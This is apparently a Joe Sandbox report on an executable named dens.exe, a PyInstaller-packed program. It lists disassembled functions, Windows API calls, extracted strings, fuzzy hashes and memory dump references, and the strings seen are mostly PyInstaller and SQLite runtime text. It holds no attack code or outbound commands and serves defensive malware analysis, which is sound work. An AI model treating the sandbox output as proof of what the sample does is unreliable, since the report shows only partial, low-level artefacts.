Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction ID: e16b7157366fe57095c0bb03f24a9810d1c99c74d3f40d8e6cdd428172d177c9
Opcode Fuzzy Hash: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction Fuzzy Hash: AA412712A0868246FF609B29DC4B37A6761EBA0BB4F144235EE5C87BD5DFBCD4418702

Function 00007FF62C109014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C109046

Part of subcall function 00007FF62C10A948: RtlFreeHeap.NTDLL(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A95E
Part of subcall function 00007FF62C10A948: GetLastError.KERNEL32(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF62C0FCBA5), ref: 00007FF62C109064

Strings

C:\Users\user\Desktop\dens.exe, xrefs: 00007FF62C109052

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\dens.exe
API String ID: 3580290477-1397442068
Opcode ID: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction ID: be9582ce97e79338b5047bd0e071fd5532c7b29ea535b0458c94f7403486979f
Opcode Fuzzy Hash: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction Fuzzy Hash: 22418D32A08A4285EF15AF25AC5A0BD63A4EF557F4F554035ED4E87B8ADE3CE4A1C301

Function 00007FF62C10CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF62C10CD4F
GetLastError.KERNEL32 ref: 00007FF62C10CD71

Strings

U, xrefs: 00007FF62C10CCFB

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: 8f17ead97d17a737c931a5056be74890f61cb4d4399002a299bd428731deaf78
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: FA41E532B18A8185DB20CF29E8593AA6760FB987A4F444131EE4DC7784EF3CD455CB42

Function 00007FF62C10F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF62C10F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF62C10F64A

Strings

:, xrefs: 00007FF62C10F60E

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction ID: 985ab0652be958d71ff8548b852eba62ebf5bbecd17fd7d44c1f58a28d9b6dfd
Opcode Fuzzy Hash: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction Fuzzy Hash: A6213162B0868181EF208B15D84A22D73B1FB88B94F864035DE8C83684DF7DE9968B42

Function 00007FF62C0FFD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF62C0FFD98
RaiseException.KERNEL32 ref: 00007FF62C0FFDD9

Strings

csm, xrefs: 00007FF62C0FFDC6

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: ee375455ade081ab3cff36d53b82a03997399dda6a45a8be90c705f646def659
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: 0B115E32608B8182EF218F19E84025977E5FB88B94F184234DF8D47754DF7DD591C700

Function 00007FF62C11073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C11076C
GetDriveTypeW.KERNEL32 ref: 00007FF62C1107AC

Strings

:, xrefs: 00007FF62C110795

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: 060f8aca37f7101514ec1ade1686fe941e9f572bbcd19a4c234d8adc1b82e3bd
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 8701D421D1860285FF30AF64A86B27E27A0EF58764F800036D98CC2681DF6CD5048B06

Analysis Process: dens.exePID: 6500, Parent PID: 6248COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.1%
Total number of Nodes:	1415
Total number of Limit Nodes:	93

Executed Functions

Function 00007FF62C0F1000 Relevance: 60.0, APIs: 6, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pyi-runtime-tmpdir, xrefs: 00007FF62C0F3B68
Failed to convert DLL search path!, xrefs: 00007FF62C0F3DD4
VCRUNTIME140.dll, xrefs: 00007FF62C0F3DA9
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF62C0F3E02
Could not create temporary directory!, xrefs: 00007FF62C0F3CBF
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF62C0F3A17, 00007FF62C0F3A2F, 00007FF62C0F3A9B
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF62C0F39DE
_PYI_SPLASH_IPC, xrefs: 00007FF62C0F3A23, 00007FF62C0F3EED
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF62C0F3BE8
Failed to start splash screen!, xrefs: 00007FF62C0F3ECC
pyi-contents-directory, xrefs: 00007FF62C0F3B8D
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF62C0F3E9E
Py_GIL_DISABLED, xrefs: 00007FF62C0F3AF4
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF62C0F3D35
pyi-python-flag, xrefs: 00007FF62C0F3AD6
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF62C0F3D12
pyi-disable-windowed-traceback, xrefs: 00007FF62C0F3BB2
Failed to load splash screen resources!, xrefs: 00007FF62C0F3E7D
pkg, xrefs: 00007FF62C0F39BE
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF62C0F3B32
Failed to remove temporary directory: %s, xrefs: 00007FF62C0F3FC7
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF62C0F3971
MEI, xrefs: 00007FF62C0F3933
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF62C0F3EB3
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF62C0F3C61
_PYI_ARCHIVE_FILE, xrefs: 00007FF62C0F38D2, 00007FF62C0F39FF
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF62C0F3882, 00007FF62C0F38AF
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF62C0F3A0B, 00007FF62C0F3CD4, 00007FF62C0F3F63

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-4232158417
Opcode ID: 0fbc70c4027613d0d861555d20556e9b1b6679d528821aa3e7ef290c14fd0fef
Instruction ID: 07fd297666852b32e2404955a40a48b84be1a2526650888eaf70879d5613dbf1
Opcode Fuzzy Hash: 0fbc70c4027613d0d861555d20556e9b1b6679d528821aa3e7ef290c14fd0fef
Instruction Fuzzy Hash: D5329D21A0C68299FE15DB259C6A3F92391AF557B0F444032DE4DC32C6EF6EE598C30A

Function 00007FFDFABD2A20 Relevance: 20.0, APIs: 2, Strings: 11, Instructions: 531COMMON

Download Yara Rule

Strings

rahc, xrefs: 00007FFDFABD3076
bolc, xrefs: 00007FFDFABD3089
aolf, xrefs: 00007FFDFABD30D6
duplicate column name: %s, xrefs: 00007FFDFABD2E88
txet, xrefs: 00007FFDFABD3096
bolb, xrefs: 00007FFDFABD30A3
always, xrefs: 00007FFDFABD2AD5
buod, xrefs: 00007FFDFABD30E9
generated, xrefs: 00007FFDFABD2B82
laer, xrefs: 00007FFDFABD30C3
too many columns on %s, xrefs: 00007FFDFABD2A73

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID:
String ID: always$aolf$bolb$bolc$buod$duplicate column name: %s$generated$laer$rahc$too many columns on %s$txet
API String ID: 0-2711416707
Opcode ID: c6d4e951f0317217e6ba4f122beb4f7973f3fbefd4f05179ad54bf97b0fcfda1
Instruction ID: 8f09b48ab60fd1f4695731ea83ea178c5f00d79c0da61b7a326002b6691e2035
Opcode Fuzzy Hash: c6d4e951f0317217e6ba4f122beb4f7973f3fbefd4f05179ad54bf97b0fcfda1
Instruction Fuzzy Hash: C9225772B0C6D245EB6D8B259070BB97FA1EB41B44F8881B6DABE473DACB3DD5418700

Function 00007FF62C115C00 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF62C115C45

Part of subcall function 00007FF62C115598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1155AC

Part of subcall function 00007FF62C10A948: HeapFree.KERNEL32(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A95E
Part of subcall function 00007FF62C10A948: GetLastError.KERNEL32(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A968

Part of subcall function 00007FF62C10A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF62C10A8DF,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10A909
Part of subcall function 00007FF62C10A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF62C10A8DF,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10A92E

_get_daylight.LIBCMT ref: 00007FF62C115C34

Part of subcall function 00007FF62C1155F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C11560C

_get_daylight.LIBCMT ref: 00007FF62C115EAA
_get_daylight.LIBCMT ref: 00007FF62C115EBB
_get_daylight.LIBCMT ref: 00007FF62C115ECC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF62C11610C), ref: 00007FF62C115EF3

Strings

Eastern Standard Time, xrefs: 00007FF62C115F99
Eastern Summer Time, xrefs: 00007FF62C115FB1

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction ID: d061b790e320011e79604dc9619bf2e00105fd14082ef2a8b2f39ae4daa24266
Opcode Fuzzy Hash: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction Fuzzy Hash: F8D1D526F0865286EF20DF2ADC4A1B96761EFA47B4F848036DE0DC7A95DF7CE4418742

Function 00007FFDFAB89260 Relevance: 14.0, APIs: 6, Strings: 3, Instructions: 513
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFAB8932F
memset.VCRUNTIME140 ref: 00007FFDFAB893A7
memcpy.VCRUNTIME140 ref: 00007FFDFAB8940E
memcpy.VCRUNTIME140 ref: 00007FFDFAB89430
memcpy.VCRUNTIME140 ref: 00007FFDFAB895EE
memcpy.VCRUNTIME140 ref: 00007FFDFAB89617

Strings

immutable, xrefs: 00007FFDFAB897AD
-journal, xrefs: 00007FFDFAB895F6
nolock, xrefs: 00007FFDFAB89775

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy$memset
String ID: -journal$immutable$nolock
API String ID: 438689982-4201244970
Opcode ID: 534f87b9525e1accf40b52a836aaac86efe7d32416019845943bf01981245331
Instruction ID: 64ff999aeec9443a5c7f11163a9b42b244827bc4a526b9760c0db288854a0cf9
Opcode Fuzzy Hash: 534f87b9525e1accf40b52a836aaac86efe7d32416019845943bf01981245331
Instruction Fuzzy Hash: 3732A32AB0978286EB688F299560B793791FF45B95F448274CA7E0B7D9DF3CE452C300

Function 00007FF62C116964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62C116698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1166D9
Part of subcall function 00007FF62C116698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C116757
Part of subcall function 00007FF62C116698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1167A8

CreateFileW.KERNEL32 ref: 00007FF62C116A6A
CreateFileW.KERNEL32 ref: 00007FF62C116ABA
GetLastError.KERNEL32 ref: 00007FF62C116AEA
GetFileType.KERNEL32 ref: 00007FF62C116AFF
GetLastError.KERNEL32 ref: 00007FF62C116B09
CloseHandle.KERNEL32 ref: 00007FF62C116B3C
CloseHandle.KERNEL32 ref: 00007FF62C116C9F
CreateFileW.KERNEL32 ref: 00007FF62C116CD4
GetLastError.KERNEL32 ref: 00007FF62C116CE3

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: f3ffae9780d734514fcb538aa07b0dcc20ba3d22e7a81d5df1322f1f37e7ba48
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 3BC1DF32B28A4686EF10CFA9D8962AC3761FB59BA8B014235DE1E977D4DF7DD051C301

Function 00007FFDFABED030 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 441COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFABED6A7

Strings

misuse, xrefs: 00007FFDFABED0A2
NULL, xrefs: 00007FFDFABED05D
%s at line %d of [%.10s], xrefs: 00007FFDFABED0AE
API call with %s database connection pointer, xrefs: 00007FFDFABED084
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFABED095
invalid, xrefs: 00007FFDFABED072
unopened, xrefs: 00007FFDFABED07D

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$API call with %s database connection pointer$NULL$invalid$misuse$unopened
API String ID: 3510742995-509082904
Opcode ID: 3813dd515519295f32aca46ee02c005523f9b24ddf3d1145810d555d305960f9
Instruction ID: 8544716f64ef64bd21adec6aec81f44b2c1d69c18b1279dd84e450e30b1392e8
Opcode Fuzzy Hash: 3813dd515519295f32aca46ee02c005523f9b24ddf3d1145810d555d305960f9
Instruction Fuzzy Hash: 61128D25B09A4289EB5C9F15E5B0B7967A0FF44B88F984175DE6E076DCCFBCE8418302

Function 00007FF62C115E7C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF62C115EAA

Part of subcall function 00007FF62C1155F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C11560C

_get_daylight.LIBCMT ref: 00007FF62C115EBB

Part of subcall function 00007FF62C115598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1155AC

_get_daylight.LIBCMT ref: 00007FF62C115ECC

Part of subcall function 00007FF62C1155C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1155DC

Part of subcall function 00007FF62C10A948: HeapFree.KERNEL32(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A95E
Part of subcall function 00007FF62C10A948: GetLastError.KERNEL32(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A968

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF62C11610C), ref: 00007FF62C115EF3

Strings

Eastern Standard Time, xrefs: 00007FF62C115F99
Eastern Summer Time, xrefs: 00007FF62C115FB1

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction ID: 0e42b684767fa3ed664132e555174cfc10165d9da2b06abb7b9885b629ba32e5
Opcode Fuzzy Hash: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction Fuzzy Hash: 6451C532A0864286EF10DF29DC8B5B96760FFA87A4F808135EA4DC7B95DF7CE4418746

Function 00007FFDFABF4D90 Relevance: 9.4, APIs: 3, Strings: 3, Instructions: 370COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFABF4DFF
memcpy.VCRUNTIME140 ref: 00007FFDFABF501D
memcpy.VCRUNTIME140 ref: 00007FFDFABF50CE

Strings

out of memory, xrefs: 00007FFDFABF4E7F
statement too long, xrefs: 00007FFDFABF4FD3
database schema is locked: %s, xrefs: 00007FFDFABF4F76

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy$memset
String ID: database schema is locked: %s$out of memory$statement too long
